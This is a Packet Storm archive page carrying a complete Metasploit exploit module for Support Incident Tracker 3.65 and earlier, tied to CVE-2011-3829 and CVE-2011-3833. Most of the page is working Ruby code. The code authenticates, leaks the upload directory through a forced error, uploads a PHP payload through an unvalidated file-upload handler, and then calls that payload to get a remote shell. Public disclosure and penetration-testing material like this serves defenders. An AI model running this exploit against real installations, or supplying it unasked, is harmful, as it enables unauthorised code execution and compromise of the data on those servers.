what you don't know can hurt you

Support Incident Tracker 3.65 Remote Command Execution

Support Incident Tracker 3.65 Remote Command Execution
Posted Nov 13, 2011
Authored by Secunia Research, juan vazquez | Site metasploit.com

This Metasploit module combines two separate issues within Support Incident Tracker versions 3.65 and below to upload arbitrary data and thus execute a shell. The two issues exist in ftp_upload_file.php. The first vulnerability exposes the upload dir used to store attachments. The second vulnerability allows arbitrary file upload since there is no validation function to prevent from uploading any file type. Authentication is required to exploit both vulnerabilities.

tags | exploit, arbitrary, shell, php, vulnerability, file upload
advisories | CVE-2011-3829, CVE-2011-3833, OSVDB-76999, OSVDB-77003
MD5 | 739ddfe0d298d16369d8b7893cefd2ef

Support Incident Tracker 3.65 Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Support Incident Tracker <= 3.65 Remote Command Execution',
'Description' => %q{
This module combines two separate issues within Support Incident Tracker (<= 3.65)
application to upload arbitrary data and thus execute a shell. The two issues exist
in ftp_upload_file.php.
The first vulnerability exposes the upload dir used to store attachments.
The second vulnerability allows arbitrary file upload since there is no
validation function to prevent from uploading any file type.
Authentication is required to exploit both vulnerabilities.
},
'Author' =>
[
'Secunia Research', # Original discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2011-3829'],
['CVE', 'CVE-2011-3833'],
['OSVDB', '76999'],
['OSVDB', '77003'],
['URL', 'http://secunia.com/secunia_research/2011-75/'],
['URL', 'http://secunia.com/secunia_research/2011-79/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Nov 10 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "SiT! directory path", "/sit"]),
OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
], self.class)
end

def check

if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "index.php"
else
uri = datastore['URI'] + "/index.php"
end

res = send_request_raw({
'uri' => uri
})

if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
ver = [ $1.to_i, $2.to_i ]
print_status("SiT! #{ver[0]}.#{ver[1]}")

if (ver[0] == 3 and ver[1] == 65)
return Exploit::CheckCode::Vulnerable
elsif (ver[0] == 3 and ver[1] < 65)
return Exploit::CheckCode::Appears
end
end

return Exploit::CheckCode::Safe
end

def retrieve_session(user, pass)

if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "login.php"
else
uri = datastore['URI'] + "/login.php"
end

res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'data' => "username=#{user}&password=#{pass}",
}, 25)

if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
print_status("Successfully logged in as #{user}:#{pass}")

if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
session = $1
print_status("Successfully retrieved cookie: #{session}")
return session
else
raise RuntimeError, "Error retrieving cookie!"
end
else
raise RuntimeError, "Error logging in."
end
end

def upload_page(session, newpage, contents)

if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + "ftp_upload_file.php"
else
uri = datastore['URI'] + "/ftp_upload_file.php"
end

boundary = rand_text_alphanumeric(6)

data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"file\"; "
data << "filename=\"#{newpage}\"\r\n"
data << "Content-Type: application/x-httpd-php\r\n\r\n"
data << contents
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
data << rand_text_alphanumeric(rand(10 + 10))
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
data << rand_text_alphanumeric(rand(20) + 20)
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
data << "publish"
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri' => uri,
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "SiTsessionID=#{session}",
}
}, 25)

if (res and res.code == 200)
print_status("Successfully uploaded #{newpage}")
return res
else
raise RuntimeError, "Error uploading #{newpage}"
end
end

def retrieve_upload_dir(session)
data = rand_text_alphanumeric(rand(20)+20)
filename = rand_text_alphanumeric(rand(256) + 300)
res = upload_page(session, filename, data)

if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
upload_dir = "attachments-#{$1}"
print_status("Successfully retrieved upload dir: #{upload_dir}")
return upload_dir
else
raise RuntimeError, "Error retrieving the upload dir"
end

end

def cmd_shell(cmdpath)
print_status("Calling payload: #{cmdpath}")

if datastore['URI'][-1, 1] == "/"
uri = datastore['URI'] + cmdpath
else
uri = datastore['URI'] + "/#{cmdpath}"
end

send_request_raw({
'uri' => uri
}, 25)
return
end

def exploit
cmd_php = '<?php ' + payload.encoded + '?>'
cmdscript = rand_text_alphanumeric(rand(10)+10) + '.php'
user = datastore['USERNAME']
pass = datastore['PASSWORD']

session = retrieve_session(user, pass)
upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
cmdpath = "#{upload_dir}/#{cmdscript}"
cmd_shell(cmdpath)
handler
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close